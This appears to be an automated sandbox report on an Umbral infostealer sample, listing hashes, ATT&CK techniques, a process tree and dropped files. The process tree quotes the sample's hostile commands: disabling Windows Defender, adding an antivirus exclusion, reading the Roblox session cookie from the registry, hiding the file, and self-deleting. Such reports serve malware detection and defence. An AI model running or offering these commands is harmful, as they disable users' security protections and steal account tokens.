umbral | f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd

Analysis

max time kernel
130s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21-08-2024 02:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe
Size

227KB
MD5

57725f9d6fe867414481c9174b761df1
SHA1

498f57a097747aa80a83a2927a74d96c007028c6
SHA256

f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd
SHA512

28de892b39cfb8e534c8bec5c2a8f277adb006499930fc6cf00251b5f157033d856dcb41dbc80375a61dc7ffe9eb109e1e00cbc42972b2202f8348daac7b6586
SSDEEP

6144:+loZM9rIkd8g+EtXHkv/iD4UcHZLxCqVUQhTuOLdG2Hb8e1mB1i:ooZOL+EP8UcHZLxCqVUQhTuOLd9Ec

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/5000-1-0x0000022F70100000-0x0000022F70140000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1672	powershell.exe
5008	powershell.exe
4632	powershell.exe
3260	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4460	cmd.exe
852	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4664	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
852	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3260	powershell.exe
3260	powershell.exe
1672	powershell.exe
1672	powershell.exe
5008	powershell.exe
5008	powershell.exe
1812	powershell.exe
1812	powershell.exe
4632	powershell.exe
4632	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeIncreaseQuotaPrivilege	2892	wmic.exe
Token: SeSecurityPrivilege	2892	wmic.exe
Token: SeTakeOwnershipPrivilege	2892	wmic.exe
Token: SeLoadDriverPrivilege	2892	wmic.exe
Token: SeSystemProfilePrivilege	2892	wmic.exe
Token: SeSystemtimePrivilege	2892	wmic.exe
Token: SeProfSingleProcessPrivilege	2892	wmic.exe
Token: SeIncBasePriorityPrivilege	2892	wmic.exe
Token: SeCreatePagefilePrivilege	2892	wmic.exe
Token: SeBackupPrivilege	2892	wmic.exe
Token: SeRestorePrivilege	2892	wmic.exe
Token: SeShutdownPrivilege	2892	wmic.exe
Token: SeDebugPrivilege	2892	wmic.exe
Token: SeSystemEnvironmentPrivilege	2892	wmic.exe
Token: SeRemoteShutdownPrivilege	2892	wmic.exe
Token: SeUndockPrivilege	2892	wmic.exe
Token: SeManageVolumePrivilege	2892	wmic.exe
Token: 33	2892	wmic.exe
Token: 34	2892	wmic.exe
Token: 35	2892	wmic.exe
Token: 36	2892	wmic.exe
Token: SeIncreaseQuotaPrivilege	2892	wmic.exe
Token: SeSecurityPrivilege	2892	wmic.exe
Token: SeTakeOwnershipPrivilege	2892	wmic.exe
Token: SeLoadDriverPrivilege	2892	wmic.exe
Token: SeSystemProfilePrivilege	2892	wmic.exe
Token: SeSystemtimePrivilege	2892	wmic.exe
Token: SeProfSingleProcessPrivilege	2892	wmic.exe
Token: SeIncBasePriorityPrivilege	2892	wmic.exe
Token: SeCreatePagefilePrivilege	2892	wmic.exe
Token: SeBackupPrivilege	2892	wmic.exe
Token: SeRestorePrivilege	2892	wmic.exe
Token: SeShutdownPrivilege	2892	wmic.exe
Token: SeDebugPrivilege	2892	wmic.exe
Token: SeSystemEnvironmentPrivilege	2892	wmic.exe
Token: SeRemoteShutdownPrivilege	2892	wmic.exe
Token: SeUndockPrivilege	2892	wmic.exe
Token: SeManageVolumePrivilege	2892	wmic.exe
Token: 33	2892	wmic.exe
Token: 34	2892	wmic.exe
Token: 35	2892	wmic.exe
Token: 36	2892	wmic.exe
Token: SeIncreaseQuotaPrivilege	2540	wmic.exe
Token: SeSecurityPrivilege	2540	wmic.exe
Token: SeTakeOwnershipPrivilege	2540	wmic.exe
Token: SeLoadDriverPrivilege	2540	wmic.exe
Token: SeSystemProfilePrivilege	2540	wmic.exe
Token: SeSystemtimePrivilege	2540	wmic.exe
Token: SeProfSingleProcessPrivilege	2540	wmic.exe
Token: SeIncBasePriorityPrivilege	2540	wmic.exe
Token: SeCreatePagefilePrivilege	2540	wmic.exe
Token: SeBackupPrivilege	2540	wmic.exe
Token: SeRestorePrivilege	2540	wmic.exe
Token: SeShutdownPrivilege	2540	wmic.exe
Token: SeDebugPrivilege	2540	wmic.exe
Token: SeSystemEnvironmentPrivilege	2540	wmic.exe
Token: SeRemoteShutdownPrivilege	2540	wmic.exe
Token: SeUndockPrivilege	2540	wmic.exe
Token: SeManageVolumePrivilege	2540	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5000 wrote to memory of 2700	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	86
PID 5000 wrote to memory of 2700	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	86
PID 5000 wrote to memory of 3260	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	89
PID 5000 wrote to memory of 3260	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	89
PID 5000 wrote to memory of 1672	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	91
PID 5000 wrote to memory of 1672	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	91
PID 5000 wrote to memory of 5008	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	93
PID 5000 wrote to memory of 5008	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	93
PID 5000 wrote to memory of 1812	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	96
PID 5000 wrote to memory of 1812	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	96
PID 5000 wrote to memory of 2892	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	99
PID 5000 wrote to memory of 2892	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	99
PID 5000 wrote to memory of 2540	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	102
PID 5000 wrote to memory of 2540	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	102
PID 5000 wrote to memory of 2848	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	104
PID 5000 wrote to memory of 2848	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	104
PID 5000 wrote to memory of 4632	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	106
PID 5000 wrote to memory of 4632	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	106
PID 5000 wrote to memory of 4664	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	110
PID 5000 wrote to memory of 4664	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	110
PID 5000 wrote to memory of 4460	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	113
PID 5000 wrote to memory of 4460	5000	f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe	113
PID 4460 wrote to memory of 852	4460	cmd.exe	115
PID 4460 wrote to memory of 852	4460	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2700	attrib.exe

C:\Users\Admin\AppData\Local\Temp\f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe
"C:\Users\Admin\AppData\Local\Temp\f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe"
  2⤵
  - Views/modifies file attributes
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1812
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4632
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\f29f169e410ccc847f78e8df47006a45025ba10f0d517629f80ad73995d614fd.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
750e4be22a6fdadd7778a388198a9ee3

SHA1
8feb2054d8a3767833dd972535df54f0c3ab6648

SHA256
26209c196c9c45202d27468ea707b2b46f375bb612d50271924a28f9210df6a1

SHA512
b0415087dfc32908b449b876b395a607698b0f7b72031916b6fe7c002e4b163ba318b7e85c8ce41f007429e666974c04967bc14345e3f4614e34d94f5c8ae804

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4587b440dc11b017e469f07c3c10994b

SHA1
efc0b1c972953877ef49dc46fbca2ed1fe47f66a

SHA256
e5ac98c2176a0ead6fae27ec6c4e5db44905012a19053d3e5f786ec06dd3638a

SHA512
63732959057a045116163cb763a9ebc2de26e238decb38570361898aa87b974c96bd02bf92224e22762fd3cd6a37da886e19cdb69c6a2daa58fb890d17dbc300

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5bf55e6966fe98b8c9793a358ccf22d3

SHA1
7111bd8101620eea9e22fffdab7b69c124558786

SHA256
8753693313c2d440f6c3e5e28479f292beccf97c383ec5930e92175cf22e50d2

SHA512
6a9dffc5eb12b2b6abbdd84789a0313a298947ca3f0dfb9aa6d217da7a21c23ed7fef898680d14a4f609e2368723a49a05eeb16835d6823afa3f027035b87056

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ac057a92f4b62d8880169af0693ef5b2

SHA1
66e7c7834c5dae5cec863ccd69403150d05841f4

SHA256
7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed

SHA512
d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ubrlyqjj.uo0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3260-12-0x0000016174D00000-0x0000016174D22000-memory.dmp

Filesize
136KB

Download
memory/3260-13-0x00007FFCECE20000-0x00007FFCED8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3260-14-0x00007FFCECE20000-0x00007FFCED8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3260-15-0x00007FFCECE20000-0x00007FFCED8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3260-18-0x00007FFCECE20000-0x00007FFCED8E1000-memory.dmp

Filesize
10.8MB

Download
memory/5000-34-0x0000022F725D0000-0x0000022F72620000-memory.dmp

Filesize
320KB

Download
memory/5000-33-0x0000022F72890000-0x0000022F72906000-memory.dmp

Filesize
472KB

Download
memory/5000-35-0x0000022F72580000-0x0000022F7259E000-memory.dmp

Filesize
120KB

Download
memory/5000-1-0x0000022F70100000-0x0000022F70140000-memory.dmp

Filesize
256KB

Download
memory/5000-0-0x00007FFCECE23000-0x00007FFCECE25000-memory.dmp

Filesize
8KB

Download
memory/5000-71-0x0000022F725A0000-0x0000022F725AA000-memory.dmp

Filesize
40KB

Download
memory/5000-72-0x0000022F72620000-0x0000022F72632000-memory.dmp

Filesize
72KB

Download
memory/5000-2-0x00007FFCECE20000-0x00007FFCED8E1000-memory.dmp

Filesize
10.8MB

Download
memory/5000-90-0x00007FFCECE20000-0x00007FFCED8E1000-memory.dmp

Filesize
10.8MB

Download